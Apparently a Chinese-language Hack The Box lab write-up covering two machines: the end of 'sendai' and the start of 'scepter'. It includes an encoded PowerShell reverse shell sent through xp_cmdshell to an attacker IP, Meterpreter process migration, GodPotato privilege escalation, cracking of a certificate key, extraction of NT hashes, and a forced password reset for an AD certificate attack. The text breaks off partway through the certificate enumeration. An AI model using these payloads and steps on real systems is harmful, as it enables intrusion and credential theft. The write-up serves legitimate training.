└─$ export KRB5CCNAME=Administrator.ccach

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ proxychains4 impacket-mssqlclient DC.sendai.vl -k -no-pass
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL (SENDAI\Administrator  dbo@master)>

还是没有xpcmd权限，但是只是没有开启，直接开启即可

SQL (SENDAI\Administrator  dbo@master)> EXEC sp_configure 'show advanced options',1;
INFO(DC\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (SENDAI\Administrator  dbo@master)> RECONFIGURE;
SQL (SENDAI\Administrator  dbo@master)> EXEC sp_configure 'xp_cmdshell',1;
INFO(DC\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (SENDAI\Administrator  dbo@master)> RECONFIGURE;
SQL (SENDAI\Administrator  dbo@master)> EXEC xp_cmdshell 'whoami'
output          
-------------   
sendai\sqlsvc   

NULL

利用powershell反弹shell回来

SQL (SENDAI\Administrator  dbo@master)> EXEC xp_cmdshell 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgAzACIALAA4ADAAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA'
┌──(wackymaker㉿kali)-[~/tmp/hackthebox/sendai]
└─$ nc -lnvp 80
listening on [any] 80 ...
connect to [10.10.16.23] from (UNKNOWN) [10.129.234.66] 57968
whoami
sendai\sqlsvc
PS C:\Windows\system32>

shell加强，上线msf,顺便利用msf进程迁移稳定一些

msf6 exploit(multi/handler) > 
[*] Started HTTPS reverse handler on https://10.10.16.23:4444
[!] https://10.10.16.23:4444 handling request from 10.129.234.66; (UUID: ronoammx) Without a database connected that payload UUID tracking will not work!
[*] https://10.10.16.23:4444 handling request from 10.129.234.66; (UUID: ronoammx) Staging x64 payload (204892 bytes) ...
[!] https://10.10.16.23:4444 handling request from 10.129.234.66; (UUID: ronoammx) Without a database connected that payload UUID tracking will not work!
[*] Session ID 1 (10.10.16.23:4444 -> 10.129.234.66:58076) processing AutoRunScript 'post/windows/manage/migrate'
[*] Running module against DC
[*] Current server process: shell.exe (3968)
[*] Spawning notepad.exe process to migrate into
[*] Spoofing PPID 0
[*] Migrating into 5208
[+] Successfully migrated into process 5208
[*] Meterpreter session 1 opened (10.10.16.23:4444 -> 10.129.234.66:58076) at 2025-09-18 09:26:51 -0400
sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 768 created.
Channel 1 created.
Microsoft Windows [Version 10.0.20348.4052]
(c) Microsoft Corporation. All rights reserved.

C:\users\sqlsvc\Documents>whoami /all
whoami /all

USER INFORMATION
----------------

User Name     SID                                         
============= ============================================
sendai\sqlsvc S-1-5-21-3085872742-570972823-736764132-1104


GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                                             Attributes                                        
========================================== ================ =============================================================== ==================================================
Everyone                                   Well-known group S-1-1-0                                                         Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                                    Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                                    Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access    Alias            S-1-5-32-574                                                    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                       Well-known group S-1-5-6                                                         Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                              Well-known group S-1-2-1                                                         Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                                        Mandatory group, Enabled by default, Enabled group
NT SERVICE\MSSQL$SQLEXPRESS                Well-known group S-1-5-80-3880006512-4290199581-1648723128-3569869737-3631323133 Enabled by default, Enabled group, Group owner    
LOCAL                                      Well-known group S-1-2-0                                                         Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1                                                        Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288                                                                                                      


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeManageVolumePrivilege       Perform volume maintenance tasks          Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

随便找个土豆提权，搞定

C:\users\sqlsvc\Documents>.\GodPotato-NET4.exe  -cmd "cmd /c C:\users\sqlsvc\Documents\shell.exe"
.\GodPotato-NET4.exe  -cmd "cmd /c C:\users\sqlsvc\Documents\shell.exe"
[*] CombaseModule: 0x140712362377216
[*] DispatchTable: 0x140712364964168
[*] UseProtseqFunction: 0x140712364257472
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] Trigger RPCSS
[*] CreateNamedPipe \\.\pipe\ee30b0eb-3444-427c-a150-41c7a1bf125d\pipe\epmapper
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00002002-0660-ffff-b35f-eef0a3c42949
[*] DCOM obj OXID: 0x535f01d97b4a2461
[*] DCOM obj OID: 0xeb87aa8a01016c28
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 924 Token:0x760  User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 5628
[!] https://10.10.16.23:4444 handling request from 10.129.234.66; (UUID: ronoammx) Without a database connected that payload UUID tracking will not work!
[*] https://10.10.16.23:4444 handling request from 10.129.234.66; (UUID: ronoammx) Staging x64 payload (204892 bytes) ...
[!] https://10.10.16.23:4444 handling request from 10.129.234.66; (UUID: ronoammx) Without a database connected that payload UUID tracking will not work!
[*] Session ID 2 (10.10.16.23:4444 -> 10.129.234.66:58176) processing AutoRunScript 'post/windows/manage/migrate'
[*] Running module against DC
[*] Current server process: shell.exe (1896)
[*] Spawning notepad.exe process to migrate into
[*] Spoofing PPID 0
[*] Migrating into 2504

C:\users\sqlsvc\Documents>[+] Successfully migrated into process 2504
[*] Meterpreter session 2 opened (10.10.16.23:4444 -> 10.129.234.66:58176) at 2025-09-18 09:32:55 -0400
exity^H
exity
'exit' is not recognized as an internal or external command,
operable program or batch file.

C:\users\sqlsvc\Documents>exit
exit
meterpreter > exit
[*] Shutting down session: 1

[*] 10.129.234.66 - Meterpreter session 1 closed.  Reason: User exit
msf6 exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > shell
Process 2564 created.
Channel 1 created.
Microsoft Windows [Version 10.0.20348.4052]
(c) Microsoft Corporation. All rights reserved.

C:\users\sqlsvc\Documents>whoami
whoami
nt authority\system

flag就在管理员目录，懒得放过来了

scepter-wp

Mon, 01 Sep 2025 20:56:42 +0800

靶机总结

使用了两次esc14，很有意思，本文技术补充以添加至血缇之书

配置如下

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ cat start.sh 
ip=10.129.103.0
FQDN=DC01.scepter.htb
domain=scepter.htb

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ cat krb5.conf 

[libdefaults]
    dns_lookup_kdc = false
    dns_lookup_realm = false
    default_realm = SCEPTER.HTB

[realms]
    SCEPTER.HTB = {
        kdc = dc01.scepter.htb
        admin_server = dc01.scepter.htb
        default_domain = scepter.htb
    }

[domain_realm]
    .scepter.htb = SCEPTER.HTB
    scepter.htb = SCEPTER.HTB

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ cat hostname 
10.129.103.0     DC01.scepter.htb scepter.htb DC01

入口

并未存在smb和rpc匿名，进行端口扫描

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ rustscan -a $ip
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Nmap? More like slowmap.🐢

[~] The config file is expected to be at "/home/wackymaker/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.129.103.0:53
Open 10.129.103.0:88
Open 10.129.103.0:111
Open 10.129.103.0:135
Open 10.129.103.0:139
Open 10.129.103.0:389
Open 10.129.103.0:445
Open 10.129.103.0:464
Open 10.129.103.0:593
Open 10.129.103.0:636
Open 10.129.103.0:2049
Open 10.129.103.0:3268
Open 10.129.103.0:3269
Open 10.129.103.0:5986
Open 10.129.103.0:5985
Open 10.129.103.0:9389
Open 10.129.103.0:47001
Open 10.129.103.0:49664
Open 10.129.103.0:49667
Open 10.129.103.0:49665
Open 10.129.103.0:49666
Open 10.129.103.0:49671
Open 10.129.103.0:49688
Open 10.129.103.0:49693
Open 10.129.103.0:49689
Open 10.129.103.0:49692
Open 10.129.103.0:49706
Open 10.129.103.0:49720
Open 10.129.103.0:49736
Open 10.129.103.0:49754
[~] Starting Script(s)

开放nfs端口，查看是否存在未授权

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ showmount -e $ip
Export list for 10.129.103.0:
/helpdesk (everyone)

挂载后，发现是4个用户的证书

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ sudo mount -t nfs $ip:/helpdesk ./test

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ cd test/
-bash: cd: test/: Permission denied

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ su root
Password: 
┌──(root㉿kali)-[/home/wackymaker/tmp/hackthebox/scepter]
└─# cd test                         
                                                                                                                                                     
┌──(root㉿kali)-[/home/…/tmp/hackthebox/scepter/test]
└─# dir
baker.crt  baker.key  clark.pfx  lewis.pfx  scott.pfx

抓取到本地，修正权限

┌──(root㉿kali)-[/home/…/tmp/hackthebox/scepter/test]
└─# cp * ../                                                                    
                                                                                                                                                     
┌──(root㉿kali)-[/home/…/tmp/hackthebox/scepter/test]
└─# cd ../ 
                                                                                                                                                     
┌──(root㉿kali)-[/home/wackymaker/tmp/hackthebox/scepter]
└─# su wackymaker                                                           
┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ chmod 777 *
chmod: changing permissions of 'baker.crt': Operation not permitted
chmod: changing permissions of 'baker.key': Operation not permitted
chmod: changing permissions of 'clark.pfx': Operation not permitted
chmod: changing permissions of 'lewis.pfx': Operation not permitted
chmod: changing permissions of 'scott.pfx': Operation not permitted
chmod: changing permissions of 'test': Permission denied

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ sudo chmod 777 *
chmod: changing permissions of 'test': Permission denied

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ dir
baker.crt  baker.key  clark.pfx  hostname  krb5.conf  lewis.pfx  scott.pfx  start.sh  test

只有baker提供了key文件，所以先爆破他

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ cat baker.hash 
$PEM$1$4$d7b39fa5d2d1d06153a95e1d2a80de86$2048$472edaace794795742a020c4e126cdd4$1232$1e3ebe95baabe7041737c3aac5ee7b879bee03c8a121c22d7bf8290d1367233bcb0ef990de04ab244e75774138561cf1712607e379b75fae0643c9a41123aea0a879261c17e7ebd61ef6ca335f24a267e95f830785ed09c1b968f0385cde3d814ae851a18a46f6627049d013605c319589d6179e3df5b0c71a43e738f911d3c0bf151c96d50849ab230634b9c9f48c655b2498f859bfd1140ecaee214b4bbcece2e88255bd3888437eeeabcf441d0d622cfb5750c6bc046ba38174bfaadfc3522ba1f6701a290984edc86c3f3a4ce5e7e2eb9f8d756b61dda53f098d78a74cd64cb67f61c30e9432aa8c518cd71bacdf050fef4a8bad216d3f5a48396f80552bfc16fc4161eaf701956564d02757cfc91272c5b1eca178e32a8a4cdfda5867ef631d83596d7b706cd4b0ebc0996d4e5e0bb6601615023b3abdb5d8cc9caacd328896c48a9a73fec336a8c6002c4ff42d1001e9a4c0c85b48c40e9603711bd18b9fff123a5d6f3dd7113bc45c58f5384a56570593c5948cb62123091254fdbb6246c5e8075a759af1c40354723be5d7f77c97e5645b15407ee6df6df17ad50ac52dd497c535d55a982e018730089c582eb7be0d88843bbdb7b73a536cb1ed195ad7f0a1fe26cdbe14d5eedd09f7c3d08a0a5cbc5986ccdd09abdef1e35a1d88ba37bc0ee4072d369e47850161b6881349ef7d3479c4e35cd11d371e8ec16c5104bf9a9cee6d45e3686913b79b8f4495eec39fa3731a593af5ca6faa8374951209afce7787c6826406b5a281aff5c8722420fcaf7a0815076b2a7a59c05c030b5365e51024cfd5fea85e1ed8a9b098ee2737818b7e488ada5a7db95caca3129ad20a13def66f97c35f435d9c3092acd65e4d73580b804ddbeb7887540fd617965368dfccd2c0703a03f9a52ba56fc90841b033339ee8c4c273f87734260e70fbdc7372f6d305ceb583a3a7a8330dda76265896fa7e905319bb7c9a3f014b46192927ce267755b31c7ea0b8bdb3f2f3c7767c7b7d4169883a68e9329c1939ba2d03cacca60e35171b1742af66a99cb4f2da6917a4f40ddc1803cb2889ce126cca5402eb80cfd5894702ad1f0946a0936d06b2dfad52ac5273bf1466690ce63221108132533223abb62cf2d5911209c7eb5a8d0864ce17d399dc7a09052679a254db02fdd9f6358ea4de45c9b64fbd13547299936b2971a1a9955711816745033e762473427d58c27c9e9d45b54fc5b482daf1cdfd825af0b71003444680ac68875b110bfdc71c5433c2d27fc67a7f764e18b27b6b50e82bf3f99c8d8a9087b5aa4731c5606fd5136229cb75d3ea238d8b6de08220163fd2957b471170f4b08cde05cd01fe7d7deb7f5c7c61c408f54ae272ac48d8833743d74391984ccf8ca34ad3b65c6a4ea39a1d022393c926fdb5f96f2993a0817299135128ee51e95987cab7b6da42550415bd91b2503426306d27c7dd26a7475b5fbcde8f10378009b58a8d0c1e9d1dac4c9b01bb2f55a708ca1f6c60f194af9b76c82bdc16a95edd27ebe25703a892ee2f09c184e50e9e546174d3f3b7d419e8cd057842b09383649190c558f197924c86668b6ef14d5b46030197bc5a75fb2ec629ed7f9a8db73784e488214d493ae7eb19643156f92815d5dc4411bd2f5e54c2cae97f3af6080e49de444c071b994278c9f74c964f02855148f7a73086d96cab68d267e388e8dec149ce8521c9429461f9f694cb67c0ebf0fff0

hashcat的24420模式与他类似，需要将$PEM$1改为$PEM$2进行爆破

hashcat baker.hash rockyou.txt 
hashcat (v6.2.6) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

24420 | PKCS#8 Private Keys (PBKDF2-HMAC-SHA256 + 3DES/AES) | Private Key
...[snip]...
$PEM$2$4$d7b39fa5d2d1d06153a95e1d2a80de86$2048$472edaace794795742a020c4e126cdd4$1232$1e3ebe95baabe7041737c3aac5ee7b879bee03c8a121c22d7bf8290d1367233bcb0ef990de04ab244e75774138561cf1712607e379b75fae0643c9a41123aea0a879261c17e7ebd61ef6ca335f24a267e95f830785ed09c1b968f0385cde3d814ae851a18a46f6627049d013605c319589d6179e3df5b0c71a43e738f911d3c0bf151c96d50849ab230634b9c9f48c655b2498f859bfd1140ecaee214b4bbcece2e88255bd3888437eeeabcf441d0d622cfb5750c6bc046ba38174bfaadfc3522ba1f6701a290984edc86c3f3a4ce5e7e2eb9f8d756b61dda53f098d78a74cd64cb67f61c30e9432aa8c518cd71bacdf050fef4a8bad216d3f5a48396f80552bfc16fc4161eaf701956564d02757cfc91272c5b1eca178e32a8a4cdfda5867ef631d83596d7b706cd4b0ebc0996d4e5e0bb6601615023b3abdb5d8cc9caacd328896c48a9a73fec336a8c6002c4ff42d1001e9a4c0c85b48c40e9603711bd18b9fff123a5d6f3dd7113bc45c58f5384a56570593c5948cb62123091254fdbb6246c5e8075a759af1c40354723be5d7f77c97e5645b15407ee6df6df17ad50ac52dd497c535d55a982e018730089c582eb7be0d88843bbdb7b73a536cb1ed195ad7f0a1fe26cdbe14d5eedd09f7c3d08a0a5cbc5986ccdd09abdef1e35a1d88ba37bc0ee4072d369e47850161b6881349ef7d3479c4e35cd11d371e8ec16c5104bf9a9cee6d45e3686913b79b8f4495eec39fa3731a593af5ca6faa8374951209afce7787c6826406b5a281aff5c8722420fcaf7a0815076b2a7a59c05c030b5365e51024cfd5fea85e1ed8a9b098ee2737818b7e488ada5a7db95caca3129ad20a13def66f97c35f435d9c3092acd65e4d73580b804ddbeb7887540fd617965368dfccd2c0703a03f9a52ba56fc90841b033339ee8c4c273f87734260e70fbdc7372f6d305ceb583a3a7a8330dda76265896fa7e905319bb7c9a3f014b46192927ce267755b31c7ea0b8bdb3f2f3c7767c7b7d4169883a68e9329c1939ba2d03cacca60e35171b1742af66a99cb4f2da6917a4f40ddc1803cb2889ce126cca5402eb80cfd5894702ad1f0946a0936d06b2dfad52ac5273bf1466690ce63221108132533223abb62cf2d5911209c7eb5a8d0864ce17d399dc7a09052679a254db02fdd9f6358ea4de45c9b64fbd13547299936b2971a1a9955711816745033e762473427d58c27c9e9d45b54fc5b482daf1cdfd825af0b71003444680ac68875b110bfdc71c5433c2d27fc67a7f764e18b27b6b50e82bf3f99c8d8a9087b5aa4731c5606fd5136229cb75d3ea238d8b6de08220163fd2957b471170f4b08cde05cd01fe7d7deb7f5c7c61c408f54ae272ac48d8833743d74391984ccf8ca34ad3b65c6a4ea39a1d022393c926fdb5f96f2993a0817299135128ee51e95987cab7b6da42550415bd91b2503426306d27c7dd26a7475b5fbcde8f10378009b58a8d0c1e9d1dac4c9b01bb2f55a708ca1f6c60f194af9b76c82bdc16a95edd27ebe25703a892ee2f09c184e50e9e546174d3f3b7d419e8cd057842b09383649190c558f197924c86668b6ef14d5b46030197bc5a75fb2ec629ed7f9a8db73784e488214d493ae7eb19643156f92815d5dc4411bd2f5e54c2cae97f3af6080e49de444c071b994278c9f74c964f02855148f7a73086d96cab68d267e388e8dec149ce8521c9429461f9f694cb67c0ebf0fff0:newpassword
...[snip]...

得到密码newpassword

用这个密码为baker创建证书，可以正常请求hash（其他证书我试过了，并不可以请求）

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ openssl pkcs12 -export -inkey baker.key -in baker.crt -out baker.pfx
Enter pass phrase for baker.key:
Enter Export Password:
Verifying - Enter Export Password:

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ dir
baker.crt  baker.hash  baker.key  baker.pfx  clark.pfx	hostname  krb5.conf  lewis.pfx	scott.pfx  start.sh  test

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ certipy auth -pfx baker.pfx -dc-ip $ip
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'd.baker@scepter.htb'
[*]     Security Extension SID: 'S-1-5-21-74879546-916818434-740295365-1106'
[*] Using principal: 'd.baker@scepter.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'd.baker.ccache'
[*] Wrote credential cache to 'd.baker.ccache'
[*] Trying to retrieve NT hash for 'd.baker'
[*] Got hash for 'd.baker@scepter.htb': aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce

得到新用户

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ echo user=d.baker>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ echo hash=18b5fb0d99e7a475316213c15b6f22ce>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ . start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ nxc winrm $ip -u $user -H $hash
WINRM       10.129.103.0    5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:scepter.htb) 
WINRM       10.129.103.0    5985   DC01             [-] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ nxc smb $ip -u $user -H $hash
SMB         10.129.103.0    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domin:scepter.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.103.0    445    DC01             [+] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce

没有winrm权限，抓猎犬

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ bloodhound-python -d $domain -c ALL -u $user --hashes :$hash -ns $ip --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: scepter.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: unpack requires a buffer of 4 bytes
INFO: Connecting to LDAP server: dc01.scepter.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.scepter.htb
INFO: Found 11 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.scepter.htb
INFO: Done in 00M 19S
INFO: Compressing output into 20250901151445_bloodhound.zip

出站能改密码，但这个用户也不在远程管理组，改之前顺着用户往下看

此用户能完全掌控员工出入证这个ou，而这个ou里，或者说这个证书允许注册的用户是

这个用户的出站没有什么意义

ESC14

改密码后用A.CARTER查询易受攻击的证书

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ nxc smb $ip -u $user -H $hash -M change-password -o USER=A.CARTER  NEWPASS='wackyMAKER1!'
/home/wackymaker/.local/share/pipx/venvs/netexec/lib/python3.13/site-packages/masky/lib/smb.py:6: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81.
  from pkg_resources import resource_filename
SMB         10.129.103.0    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domin:scepter.htb) (signing:True) (SMBv1:False) (Null Auth:True)
SMB         10.129.103.0    445    DC01             [+] scepter.htb\d.baker:18b5fb0d99e7a475316213c15b6f22ce 
CHANGE-P... 10.129.103.0    445    DC01             [+] Successfully changed password for A.CARTER

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ echo user1=A.CARTER>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ echo pass1='wackyMAKER1!'>>start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ . start.sh 

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ certipy find -u $user1 -p $pass1 -target $FQDN -dc-ip $ip -text -stdout -vulnerable
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Finding issuance policies
[*] Found 20 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'scepter-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'scepter-DC01-CA'
[*] Checking web enrollment for CA 'scepter-DC01-CA' @ 'dc01.scepter.htb'
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : scepter-DC01-CA
    DNS Name                            : dc01.scepter.htb
    Certificate Subject                 : CN=scepter-DC01-CA, DC=scepter, DC=htb
    Certificate Serial Number           : 716BFFE1BE1CD1A24010F3AD0E350340
    Certificate Validity Start          : 2024-10-31 22:24:19+00:00
    Certificate Validity End            : 2061-10-31 22:34:19+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : SCEPTER.HTB\Administrators
      Access Rights
        ManageCa                        : SCEPTER.HTB\Administrators
                                          SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Enterprise Admins
        ManageCertificates              : SCEPTER.HTB\Administrators
                                          SCEPTER.HTB\Domain Admins
                                          SCEPTER.HTB\Enterprise Admins
        Enroll                          : SCEPTER.HTB\Authenticated Users
Certificate Templates                   : [!] Could not find any certificate templates

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ certipy find -u $user1 -p $pass1 -target $FQDN -dc-ip $ip -text -stdout -vulnera^Ce

┌──(wackymaker㉿kali)-[~/tmp/hackthebox/scepter]
└─$ certipy find -vulnerable -u $user -hashes :$hash -dc-ip $ip -stdout
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Finding issuance policies
[*] Found 20 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'scepter-DC01-CA' via RRP
[*] Successfully retrieved CA configuration for 'scepter-DC01-CA'
[*] Checking web enrollment for CA 'scepter-DC01-CA' @ 'dc01.scepter.htb'
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[!] Error checking web enrollment: [Errno 111] Connection refused
